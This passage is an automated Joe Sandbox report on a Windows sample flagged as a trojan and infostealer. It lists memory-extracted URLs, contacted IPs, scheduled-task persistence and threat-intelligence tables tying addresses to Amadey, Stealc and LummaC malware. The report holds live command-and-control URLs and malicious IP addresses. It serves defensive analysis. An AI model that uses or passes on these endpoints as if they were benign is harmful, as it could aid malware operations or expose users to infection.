https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://docs.google.com/	manifest.json.10.dr	false		high
https://www.youtube.com	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.instagram.com	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://drive.google.com/	manifest.json.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.messenger.com	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	false		high
https://www.deezer.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://web.telegram.org/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.10.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.10.dr	false		high
https://vibe.naver.com/today	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php0	file.exe, 00000000.00000002.1844141390.0000000023E8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://msn.comXIDv10&	Cookies.11.dr	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	3b6f47fe-9862-45ff-9d94-6e7980136a65.tmp.11.dr, cb28171e-12be-4097-8dff-9ddac42bf091.tmp.11.dr	false		high
https://www.ecosia.org/newtab/	BGCFBGDH.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php5	file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phptware	file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json0.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.10.dr	false		high
https://y.music.163.com/m/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
http://185.215.113.206rontdesk	file.exe, 00000000.00000002.1813754900.0000000000C75000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://m.kugou.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://www.office.com	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpa	file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/0/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log1.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpF	skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	file.exe, 00000000.00000002.1844141390.0000000023E82000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	false		high
http://185.215.113.206TIFIER=Intel	file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tidal.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://ntp.msn.com	000003.log7.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpx	file.exe, 00000000.00000002.1823726536.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://gaana.com/	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://drive-staging.corp.google.com/	manifest.json.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php3D	skotes.exe, 0000001C.00000002.2550891570.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/compose?isExtension=true	95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.200.88.30	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.165.220.66	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.203.84	unknown	United States	20940	AKAMAI-ASN1EU	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.27	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.86	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
52.123.243.180	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.183.192.109	unknown	United States	7018	ATT-INTERNET4US	false
104.46.162.227	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559714
Start date and time:	2024-11-20 21:04:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/284@22/25
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.205.84, 172.217.19.238, 172.217.21.35, 34.104.35.123, 199.232.214.172, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.21.72.80, 2.21.72.79, 2.16.158.58, 2.16.158.56, 2.16.158.40, 2.16.158.35, 2.16.158.59, 2.16.158.48, 2.16.158.72, 2.16.158.50, 2.16.158.34, 2.16.158.176, 2.16.158.33, 2.16.158.26, 2.16.158.82, 2.16.158.171, 2.16.158.169, 2.16.158.186, 2.16.158.179, 2.16.158.184, 95.101.143.139, 95.101.143.153, 95.101.143.146, 95.101.143.154, 95.101.143.147, 95.101.143.136, 95.101.143.152, 95.101.143.130, 95.101.143.161, 2.20.68.222, 2.20.68.210, 13.74.129.1, 13.107.21.237, 204.79.197.237, 93.184.221.240, 2.16.158.80, 2.16.158.51, 2.16.158.81, 142.251.40.163, 142.251.41.3, 142.250.65.227, 142.250.65.195, 142.250.80.67
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, edge-microsoft-com.dual-a-0036.a-msedge.net, accounts.google.com, bzib.nelreports.net.
Execution Graph export aborted for target DocumentsGCBFBGCGIJ.exe, PID 7988 because it is empty
Execution Graph export aborted for target file.exe, PID 6932 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8112 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8604 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:28:32	API Interceptor	141x Sleep call for process: file.exe modified
16:30:01	API Interceptor	56x Sleep call for process: skotes.exe modified
22:28:54	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
23.200.88.30	https://advantecho365-my.sharepoint.com/:f:/g/personal/amanda_eriksen_advantech_com/EpP8vYfyU_RBi6SdtjWUdQQBIRJulWRqRSHZIQe3X4fLjA?e=jQHC24	Get hash	malicious	HTMLPhisher	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	WSock.dll	Get hash	malicious	Ramnit	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
mira-tmc.tm-4.office.com	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.243.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.216
	Invoice.msg	Get hash	malicious	Unknown	Browse	52.123.243.71
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.68
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.243.192
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	52.123.243.76
	Baylor financial-RemittanceSeptember 26, 2024_-YTRKOKQTQALJDQKMPCNJ.xlsx	Get hash	malicious	Unknown	Browse	52.123.250.22
	https://bit.ly/3e7c84f1a590a3e6	Get hash	malicious	Unknown	Browse	52.123.243.75
	http://links.notification.intuit.com/ls/click?upn=u001.SkyGoo-2FemZT6Xc-2Fn1lGbnolA50y-2BF9TWqkK0lI1Lm8fNvXP5-2FxDdNExe3CY544wPZVOkx-2Bsb4ktfZUcbQ6XLB20HmfCeoj1T2aelwaQzxGxMnTNFli2-2BrNhm0JvsfNUOIIJqYRWJxaQsuLVs5VCMhffG2lTRKD2VHPufoX4krOa6H9u-2BswQJugvBxenvDm6ryxsAgdom2ZlsPly8gQHTmmGA0e4JqVxBlbpwxEjAi46yNObb7Zpazasei6XkORobIapekQPzXsJ71T45LzvqAQ-3D-3DMkNx_Lz1KNxRQ-2BhpMzFq-2FlH4AKqCRJ4ktuz3qvKgyeRYtJ6yBmvmV-2BZ0U24UegXC0XfOyUEuTSkfSENCnOCwyzKwb0kCHFHFDdnv66AioaHwaO4s5rMAlYpznEILF09jWXOudalvyYlmropwA3gdFfxAbaRZDEWRi21-2B70QtYNIScTeI0VayDvzVjeJlwn1-2BgbfvfBzeS1tuo-2FenkBe8eF-2BE3by5QpSxtITlNfoAVUGXsNlvTZEQM3-2FYR74YwecI-2FDKeE16lgq90rXZHKzunPdGoBerI70g-2FBqptLiyOyE-2BjCDf-2BkiKX4kVfVJC0jehjgxJnWOuKV5vP7P57-2BifRsX4zK95A4kvk3SYQ6b6cBZNhso9U5EX05JF2ZMO3czWZWv9sDz7cz-2FQ-2BVd5yL93eWEITfWo-2FcKvVxsZFCyEEG25yQibnuTqOa6boJpfshWWoiuqSOjthWaNm73jLAWM01JvRU3-2BQ4pk5wG0BCar-2FLcZwCjX-2BQn3saiabdI-2B-2FpPD1zVdQBWYb4ug15lEZ44lMLNBo0Jyoz75uQt-2FGrnRxwx9TJ8t-2Bfn4E8-2BAoPseLpJAVO8o49MEncOq1StLSHHC1MAw6zRNG45dedXm3OTP1oMH1yL0wNogEHoy83st8BzmWmPtNVl3lCzNpI3ps0iYjiS3p9EyxZeHwUYt5rTmsDfr8BPbnvpdb-2BbFkKCLzSN8dJ0oJUylT3TG2600-2BJVSVoJ0n8Dh2HPy-2FbmSgo2WTF5sYH3X9I0Xw8cz6y6aJOTqGp-2F8gdcIuajXkdGUVLC7xQIAV-2FHfoaAzs6NiCMNVeu61LHb-2FdHDydfIMNNQl0qqNVH-2FsILPCgGi7lecZqIT05DXyjrDlEBb3M-2FYGecxFad-2B-2Bux-2FYfoZSDqRSTBC7tQlTtmhsrKVuhy5IpooyvRdlAIWsplAGkVrtjxeJxZ1BZtYqsjENuZgxV5ITi-2BDITOKOpzjiQVV1PuKLkJ-2FIO1B8tO-2BPJ-2Fq54rq0tRq-2BwJ4fsF1jVdeaFC1497rVvFDh00yQOS2vcufkimi10b9eiGGETxWcJ9KUizGHD3uKz5j1WS3wYolTj-2FCGvMysBKRIZ3wqF2ljBUFUirmjyYn2QRBx3sk48bwyql-2B9PQYdne7I-2BMy5atnpZhpFdqUjfYzZ8IAOgg7I-2Fo6-2Brz3WkLf6XgODSEUk1OLNPig9Kah4cP3gw0Zhr5zGY3R1DH-2BQGVeCOHueYWakCXQAj5ydgjlsgEph06b7KUe7Hy1yhcJWj1MnXaP95wGgDhjTVicETnW4s4dmlVmXxp8nWlwEIQvqPQFLoEt2iD1iqu5XecItXuXHzvq2q8I0jE6VYRiE9dNC-2BDlydu4ntCGg5L2qm4s8Kr6DyKcI5wRI-2FEHqQLMBGewDuGPwZ6-2FHohbLDaRkaInJxDGA50w2P1P3Et8px7m0XPOoDT9D5IWzO9-2BKgvkbtnlO4hdyGU4xGccrZlr5u1q2Jc9jjAxxa9HJiA-2BbjeyvY2lqShkOe5vnvBxafBYgqUYAnXRpwgIBg-3D	Get hash	malicious	Unknown	Browse	52.123.250.26
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	aHPgKqtKWX.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.121.8.149
	aJU0obOiEe	Get hash	malicious	Unknown	Browse	23.195.93.152
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	23.193.114.43
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	23.193.114.19
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	23.217.172.185
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	Unknown	Browse	23.56.162.204
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	2.20.41.218
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.147
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	184.28.90.27
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.69.116.107
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.63
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
